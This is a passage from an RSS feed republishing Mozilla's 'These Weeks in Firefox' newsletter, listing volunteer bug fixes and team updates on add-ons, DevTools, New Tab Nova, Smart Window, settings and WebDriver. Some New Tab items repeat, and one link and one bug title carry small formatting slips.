<li>🌟 John Iweh:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027867"> sidebar-shown attribute remains when sidebar.revamp is false</a></li>
<li>🌟 jonathancabera:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2012399">The Move tab to Split View option is also displayed for the tabs that are within the Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016058">A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026032">Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode</a></li>
</ul>
</li>
<li>Aloys:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2000797"> Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67</a></li>
<li>liz:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1875083">Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008119">Button accessible name does not convey its function: missing topic context (Settings dialog &gt; Topics dialog &gt; buttons Following/Unfollow/Blocked/Unblock)</a></li>
</ul>
</li>
<li>Mary cathline:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022115"> Tab Group Label does not respect touch density in vertical tab bar</a></li>
<li>🌟 Brandon Lucier:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030631"> Popups opened with window.open give window type normal instead of popup</a></li>
<li>karan68:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997388"> [dialog] New Shortcut dialog needs a label/accessible name</a></li>
<li>🌟 Vector:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008128"> Button does not programmatically indicate that it opens a dialog (Recent activity section &gt; story card &gt; ••• disclosure &gt; Delete from History button)</a></li>
<li>🌟 Osoble:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1876109"> Update font size and weight for synced tabs device name headers in Firefox View</a></li>
<li>konyhéa:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1873954">Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1883497">Check all second paramaters for TestUtils.waitForCondition in Fx View test files</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030069">Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.</a></li>
</ul>
</li>
<li>Noble Chinonso: <a href="http://sidebartreeview.js/">#shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled</a></li>
<li>Pranjali Srivastava:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=944228"> Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)</a></li>
<li>Okhuomon Ajayi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018272">More spacing is needed between the tab note icon and the close icon on the tab</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019561">The tabs in vertical mode collapsed state are positioned differently in Split View</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027060">Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029684">Vertical split view tabs can be too big or small when tabs are overflowing</a></li>
</ul>
</li>
<li>🌟 Rishan:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030428"> Fix duplicated arrow function in browser_history_sidebar.js</a></li>
<li>Chukwuka Rosemary:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1948019">“Forget About This Site” context menu option missing from Firefox View history</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026574">Long strings are not displayed properly on the about:opentabs page search filed</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028153">Add test for Forget This Site option in Fxview history context menu.</a></li>
</ul>
</li>
<li>ROSHAAN:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2018276">Tab note background colour is incorrect for default light theme</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1997346"> [win/linux] The splitter between content areas does not match Figma spec</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028927">Fix typo in OpenInTabsUtils.confirmOpenInTabs()</a></li>
</ul>
</li>
<li>Sameeksha:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008197"> Disclosure button expanded/collapsed state not programmatically defined (Customize button)</a></li>
<li>kofoworola shonuyi:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999012">Actually hide or remove sidebar-shown attribute when in fullscreen.</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028293">Add a test for checking sidebar-shown attribute in fullscreen mode</a></li>
</ul>
</li>
<li>🌟 Sayd Mateen:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021681"> Page URL is displayed as tab name when page’s contains about:reader?&lt;/a&gt;&lt;/p&gt; &lt;p&gt;</a></li>
</ul>
<ul>
<li>Oluwatobi:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1975391">Unable to delete selected history entries from sidebar</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1993844">Incorrect Sidebar button state/tooltip hover text</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023913">The city name heading level doesn’t follow the correct heading level order</a></li>
</ul>
</li>
<li>Nishchay [:nish]:<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031961"> Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)</a></li>
</ul>
<p> </p>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032014"> Bug 2032014</a>
<ul>
<li>NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes</li>
</ul>
</li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033173"> Bug 2033173</a>
<ul>
<li>Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!</li>
</ul>
</li>
<li>Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034329"> Bug 2034329</a>
<ul>
<li>Thanks to Simon Farre for promptly investigating and fixing this recent regression!</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1392125"> Bug 1392125</a>
<ul>
<li>Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!</li>
</ul>
</li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=750915">Artem Manushenkov</a> fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1983408">#1983408</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446257">Andrea Marchesini [:baku]</a> fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031299">#2031299</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028930">#2028930</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> improved @container tooltip so it show the value of variables used in style()(<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030239">#2030239</a>), has enough contrast in dark mode (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033782">#2033782</a>) and contains a link to select the container (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031688">#2031688</a>)
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image3.png"><img alt='Firefox Developer Tools showing a CSS @container style() rule in the Rules panel. A popover for a element displays container properties including "container-name: hello section-container", "container-type: inline-size", and the custom property "--w: 100px", while indicating that --secondary and --plouf are not set. Below, the container query uses nested var() fallbacks, and a CSS declaration previews the resolved value for background-color.' class="aligncenter size-full wp-image-2071" height="532" src="https://blog.nightly.mozilla.org/files/2026/06/image3.png" width="1038"></a></li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=656417">Hubert Boma Manilla (:bomsy)</a> is making good progress on migrating the Console to CodeMirror 6 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032758">#2032758</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026569">#2026569</a>)</li>
</ul>
<h4>Fluent</h4>
<ul>
<li>We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!</li>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image5.png"><img alt="Stacked area chart titled “Are We Fluent Yet?” showing the number and type of localization strings available in Firefox from 2018 to 2026. The chart tracks Fluent strings (green), Properties strings (blue), DTD strings (pink), and a small number of INI strings. Over time, Fluent strings steadily increase while DTD and Properties strings decline. A tooltip at April 26, 2026 shows 10,372 Fluent strings, 3,997 Properties strings, and no remaining DTD or INC strings, illustrating Firefox’s ongoing migration to the Fluent localization system." class="aligncenter size-full wp-image-2073" height="924" src="https://blog.nightly.mozilla.org/files/2026/06/image5.png" width="1509"></a></li>
</ul>
<h4>Migration Improvements</h4>
<ul>
<li>Thanks to dao for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035009">fixing a recent alignment issue in the migration wizard dropdown</a></li>
<li>Thanks to volunteer contributor Anthony Mclamb for his patch that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027915">disables the legacy EdgeHTML Edge migrator</a>! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th
<ul>
<li>It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.</li>
</ul>
</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032213"> enabled Nova designs for New Tab</a>, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033165"> fixed the Nova content feed to render the intended four‑column layout</a> by correcting CSS grid breakpoints.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2033264"> resolved a first‑load failure in the Weather widget</a> by fixing init order and fetch timing, eliminating the “Oops” error.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2031707"> synchronized the Weather toggle between about:preferences#home and the panel</a> via the shared showWeather pref to prevent desync.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2021460"> updated Nova grid focus order</a> to align tab flow with visual order for keyboard users.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2034620"> fixed critical UI issues in Lists and Timer widgets</a> covering overflow, controls, and layout stability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2032462"> guarded document.dir access in Nova render paths</a> to avoid startup cache worker errors and improve startup stability.</li>
<li>Rolf<a href="https://bugzil.la/2031568"> added a new normalization method for the inferred interest vector</a> to stabilize topic relevance across sessions.</li>
<li>Rolf<a href="https://bugzil.la/2031569"> prevented unnecessary content refreshes during Pocket New Tab experiments</a>, reducing jank and bandwidth.</li>
<li>Sameeksha<a href="https://bugzil.la/2008197"> defined the Customize button’s expanded/collapsed state programmatically</a> using aria-expanded for better a11y.</li>
<li>liz<a href="https://bugzil.la/2008119"> clarified follow/unfollow/blocked button names with topic context</a> so screen readers announce clear actions.</li>
<li>Vector<a href="https://bugzil.la/2008128"> marked the Delete from History control as opening a dialog</a> via aria-haspopup=dialog for assistive tech.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers pref off</a>, restoring user selections.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> corrected privacy link color and focus styles</a> for contrast and keyboard visibility.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2030873"> added a wallpaper toggle reset in the Nova customization panel</a> so users can quickly restore default wallpapers without extra steps.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2031669"> fixed the Customize pencil button to match the Nova spec</a>, aligning placement and iconography for visual consistency.</li>
<li>Dre<a href="https://bugzil.la/2032607"> updated the ‘Fresh new’ wallpapers copy</a> to a clearer, localized message for better comprehension.</li>
<li>Irene Ni<a href="https://bugzil.la/2033927"> fixed Nova privacy link color and focus styles</a> to meet contrast and focus ring guidelines, improving accessibility on New Tab.</li>
<li>Irene Ni<a href="https://bugzil.la/2034098"> adjusted Sponsored tile character limits</a> to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.</li>
<li>Scott Downe<a href="https://bugzil.la/2034145"> fixed a regression that flipped the Wallpapers user pref to false</a>, restoring wallpapers for affected users and preventing unintended disablement.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2034688"> hooked the wallpaper check into the new toggle logic</a> so the Customization Panel accurately reflects wallpaper availability and state.</li>
<li>Irene Ni<a href="https://bugzil.la/2034912"> landed Nova UI updates for the Daily Briefing 3-pack card</a>, improving spacing, type scale, and tap targets.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Marco has fixed a<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743"> couple</a> of<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1989632"> issues</a> with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.</li>
<li>Work continues on the new separate search bar to improve the functionality, e.g.<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033231"> allowing middle click</a> to perform a search in a new tab,<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032991"> avoiding performing a</a> search when adding a search engine.</li>
<li>Work also continues on the new Nova layouts.</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032122">uplifted 10 bugs</a> to 150.0.1 dot release addressing initial user feedback from diary study and <a href="https://connect.mozilla.org/">Connect</a>
<ul>
<li>jump to bottom of conversation <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028692">2028692</a></li>
<li>stop streaming button <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029204">2029204</a></li>
<li>back/forward navigation from assistant <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029229">2029229</a></li>
<li>dark mode for various chips <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2024499">2024499</a></li>
</ul>
</li>
<li>search engine switching from smart bar <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021973">2021973</a></li>
<li>Nova styling within smart window <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026794">2026794</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Dustin converted moz-breadcrumb-group variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029181">Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens</a></li>
<li>Dustin converted moz-box-* variables into JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029180">Bug 2029180 – Convert moz-box-* variables into JSON design tokens</a></li>
<li>Dustin converted moz-promo variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029190">Bug 2029190 – Convert moz-promo variables into JSON design tokens</a></li>
<li>Dustin converted moz-reorderable-list variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029191">Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens</a></li>
<li>Dustin converted moz-visual-picker variables to JSON design tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029193">Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens</a></li>
<li>Dustin updated browser-shared.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022985">Bug 2022985 – Update browser-shared.css so it passes use-design-tokens</a></li>
<li>Dustin updated popup.css so it passes use-design-tokens <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022979">Bug 2022979 – Update popup.css so it passes use-design-tokens</a></li>
<li>Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1955325">Bug 1955325 – Create opacity tokens</a></li>
<li>Jon converted toolbar design tokens to JSON <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2017970">Bug 2017970 – Convert toolbar design tokens to json</a></li>
<li>Anna fixed moz-select with panel-list drop-down size inconsistency <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032365">Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened</a></li>
<li>Anna fixed issue with the disabled state of moz-radio component <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027123">Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled</a></li>
<li>Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022326">Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically</a></li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027209">2027209</a></li>
<li>In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">2031837</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Tim converted settings related to Accessibility page to config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968116">Bug 1968116 – Convert settings related to Accessibility page to config-based settings</a></li>
<li>Benjamin converted Privacy &amp; Security page to the config-based pane <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1968112">Bug 1968112 – Convert settings related to Privacy &amp; Security page to config-based settings</a></li>
<li>Finn integrated Firefox Labs page into setting-pane config <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021047">Bug 2021047 – Integrate Firefox Labs page into setting-pane config</a></li>
<li>Anna converted Firefox Updates section to config-based prefs <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1990961">Bug 1990961 – Convert Firefox Updates section to config-based prefs</a></li>
<li>Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015093">Bug 2015093 – Add a moz-promo to welcome users to the redesign</a>
<ul>
<li><a href="https://blog.nightly.mozilla.org/files/2026/06/image4.png"><img alt="The Firefox settings page in dark mode showing a notification banner that reads, “Same settings, new look!” The message further explains that the page has been reorganized to make settings easier to scan and explore, while keeping all existing settings unchanged. A “Got it” button appears below the message. The “AI Controls” section is visible underneath the banner." class="aligncenter size-full wp-image-2072" height="559" src="https://blog.nightly.mozilla.org/files/2026/06/image4.png" width="1431"></a></li>
</ul>
</li>
<li>Anna added possibility to search for actions in the redesigned “Applications” section <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020370">Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section</a></li>
<li>Anna fixed the Settings navbar layout breakage</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]></title>
<description><![CDATA[Highlights

James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when ...]]></description>
<link>https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:32 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>James <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032547">enabled adaptive autofill in Nightly</a> for testing, which we believe should provide better results in the URL bar when doing autocomplete!</li>
<li>Jack <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">updated the illustrations shown on some of our error pages</a> to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!</li>
</ul>
<p><img alt="Internet connection error page with an adorable Kit illustration" class="aligncenter wp-image-2080 size-full" height="652" src="https://blog.nightly.mozilla.org/files/2026/06/image2-1.png" width="1584"></p>
<ul>
<li>Controls for the Memories feature <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032998">can now be set during Smart Window onboarding</a></li>
</ul>
<p><img alt='Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"' class="aligncenter wp-image-2078 size-full" height="546" src="https://blog.nightly.mozilla.org/files/2026/06/image4-1-e1780509799577.png" width="500"></p>
<p> </p>
<ul>
<li>We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016509">completing the deprecation</a>
<ul>
<li><b>NOTE:</b> The blog post published at<a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/"> WebExtensions API changes in Firefox 149-152</a> provides to extensions developers more details about this deprecation and links to the related MDN docs.</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=2031599%2C2033820%2C2034178%2C1930213%2C2035355%2C1611643%2C2020302%2C2026007%2C2031015%2C2035252%2C2036528%2C411384%2C2033780%2C2036199%2C1812100%2C1898257%2C2030070%2C2030072">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>Pranjali Srivastava</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> 🌟:23rd: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1812100">Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page</a></li>
<li>🌟Akeem Omosanya: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035252">Remove commented-out code in SearchService.sys.mjs</a></li>
<li>Amin Amir:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
</ul>
</li>
<li>🌟Sahaj: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031015">Suggest the default target language for translation after changing the detected source language</a></li>
<li>🌟JIANG Zhirui: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036199">Breakpad build failed on Windows using VS2026 due to removal of stdext</a></li>
<li> John Iweh: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030072">Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices</a></li>
<li>Jak: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030070">Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting</a></li>
<li>🌟Andy [:rgbcmy]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1611643">Autoplayed next video should also be PIP</a></li>
<li> konyhéa: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930213">“Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.</a></li>
<li> Pranjali Srivastava:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1898257">Remove icon property from sidebar extensions</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026007">Show language-agnostic SelectTranslations context menu item when the source and target languages are the same</a></li>
</ul>
</li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1532724"> Bug 1532724</a>, fix shipping in Firefox 152) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1595158"> Bug 1595158</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed access to web-accessible resources declared with &lt;all_urls&gt; from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033905"> Bug 2033905</a></li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029092"> Bug 2029092</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li>Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
<ul>
<li>added support for remote debugging (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014064">#2014064</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016121">#2016121</a>)</li>
<li>made sure that calls to History.replaceState are reflected in the UI (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037359">#2037359</a>)</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030260">#2030260</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed the image preview tooltip for relative URLs images in constructed stylesheet (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035503">#2035503</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026228">#2026228</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Amin Amir cleaned up an <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">incorrect variable assignment</a> in our browsingContext module.</li>
<li>Logan Rosen <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036603">updated stale references and broken links</a> in our documentation about Marionette.</li>
<li>Sameem improved the Marionette and WebDriver BiDi <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020302">screenshot commands to enforce maximum allowed dimensions</a>.</li>
<li>Leo McArdle fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030964">the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”</a>.</li>
<li>Henrik Skupin fixed an issue in Marionette where <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033769">WebDriver:Navigate and WebDriver:Refresh did not handle errors</a> when the underlying navigation failed.</li>
